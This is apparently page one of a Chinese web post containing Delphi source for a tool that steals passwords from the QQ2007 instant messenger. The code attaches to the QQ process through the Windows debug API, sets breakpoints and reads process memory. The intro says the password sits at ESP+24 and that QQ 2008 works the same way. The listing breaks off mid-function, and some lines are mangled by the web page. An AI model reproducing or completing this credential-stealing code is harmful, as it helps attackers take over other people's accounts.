随手写写的代码.这是上年的代码.2008版同样可以在ESP+24读取密码.只不过下断位置不同罢了.
{*******************************************************}
{ }
{ 利用Debug Api 获得QQ2007密码 }
{ 只支持QQ2007版本为7.1.576.1763或7.0.431.1723 }
{ 版权所有 (C) 2008 Open[x.g.c] }
{ }
{*******************************************************}
unit UnIT1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,psapi,StrUtils;
type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
const
Code :DWORD = $CC;
JCode :DWORD =$8D;
implementation
{$R *.dfm}
var
ProcessID: DWORD;
function HexToInt(HexStr: string): Int64;
var
RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[length(HexStr)] = ’H’ then
Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
RetVar := RetVar shl 4;
if HexStr[i] in [’0’..’9’] then
RetVar := RetVar + (byte(HexStr[i]) - 48)
else
if HexStr[i] in [’A’..’F’] then
RetVar := RetVar + (byte(HexStr[i]) - 55)
else begin
Retvar := 0;
break;
end;
end;
Result := RetVar;
end;
function GetMem(nOK :THANDLE;Addr:DWORD;len:integer=0):string;
const FindCount=100;
var
buf1:array[0..FindCount] of pchar ;
OK :BOOL;
nSize: DWORD;
lpNumberOfBytesRead:cardinal;
res,tmp:string;
s:array[0..FindCount] of string;
i:integer;
begin
if len<>0 then begin
nSize:=len ;
buf1[0]:=AllocMem(nSize);
OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
if(OK or (nSize<>lpNumberOfBytesRead)) then begin
s[0]:=’’;
for i :=0 to nSize-1 do begin
s[0] := s[0] + format(’%.2X’,[ord(buf1[0][i])]);
end;
end;
FreeMem(buf1[0], nSize);
tmp:=s[0];
i:=1;
res:=’’;
while i<length(tmp) do begin
res:=res+chr(HexToInt(copy(tmp,i,2)));
inc(i,2);
end;
result:=res;
exIT;
end;
end;
procedure NewProcess;
var
I: Integer;
Count: DWORD;
ModHandles: array[0..$3FFF - 1] of DWORD;
ModInf TModuleInfo;
ModName: array[0..MAX_PATH] of char;
Num : Cardinal;
Rc,ok :Boolean;
DebugD: DEBUG_EVENT;
Context: _CONTEXT;
base: Pointer;
ProcHand : THandle;
ThreadHandle :THandle;
EAX : string;
begin
ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
if ProcHand <> 0 then
try
EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
for I :=0 to (Count div SizeOf(DWORD)) - 1 do
if (GetModuleFileNameEx(ProcHand,ModHandles[i],ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand,
ModHandles[i],@ModInf[1] [2] 下一页
|
|
